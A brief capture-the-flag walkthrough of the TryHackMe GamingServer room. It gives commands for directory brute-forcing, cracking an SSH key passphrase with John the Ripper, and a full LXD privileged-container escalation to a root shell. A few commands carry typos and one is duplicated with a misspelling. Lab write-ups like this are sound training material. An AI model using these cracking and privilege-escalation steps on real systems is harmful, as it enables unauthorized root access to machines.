Persecure : my learning archive

https://tryhackme.com/room/gamingserver

Start a nmap scan to look for open ports.

Use gobuster look for hidden directories.

obuster dir -u 10.10.145.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Download the dict.lst file.

The private key needs a passphrase.

Use johntheripper to crack he passphrase.

python ssh2john.py secretKey > secretkey.hash

john secretkey.hash -wordlist dict.lst

SSH to the user.

First flag is found.

Start up python server and transfer linpeas to find for clues.

The machine can be exploited by lxd

Head to your main machine and execute the following commands.

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

sudo ./build-alpine

Transfer the file to the victim machine and execute the following commands.

lxc image list

lxc image import ./alpine-v3.15-x86_64-20220414_2008.tar.gz --alias myimage

lxc init myimage ignite -c security.previleged=true

lxc init myimage ignite -c security.privileged=true

lxc start ignite

lxc exec ignite /bin/sh

Root access is gained and final flag is found.